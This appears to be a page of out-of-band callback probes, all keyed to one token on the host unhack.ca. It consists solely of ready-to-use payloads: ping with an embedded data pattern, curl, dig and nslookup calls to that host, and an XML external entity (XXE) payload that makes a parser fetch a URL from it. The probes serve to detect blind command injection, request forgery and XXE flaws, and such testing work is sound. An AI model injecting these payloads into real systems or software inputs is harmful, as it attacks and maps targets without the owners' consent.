$ ping -c1 -p 00be149f647fe83f6d832b3727ff0300 unhack.ca
 

$ curl http://unhack.ca/p/be149f647fe83f6d832b3727ff03
 

$ dig be149f647fe83f6d832b3727ff03 @unhack.ca
 

$ dig be149f647fe83f6d832b3727ff03.ns.unhack.ca
 

C:\> nslookup be149f647fe83f6d832b3727ff03 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/be149f647fe83f6d832b3727ff03">]>
    <foo>&xxe;</foo>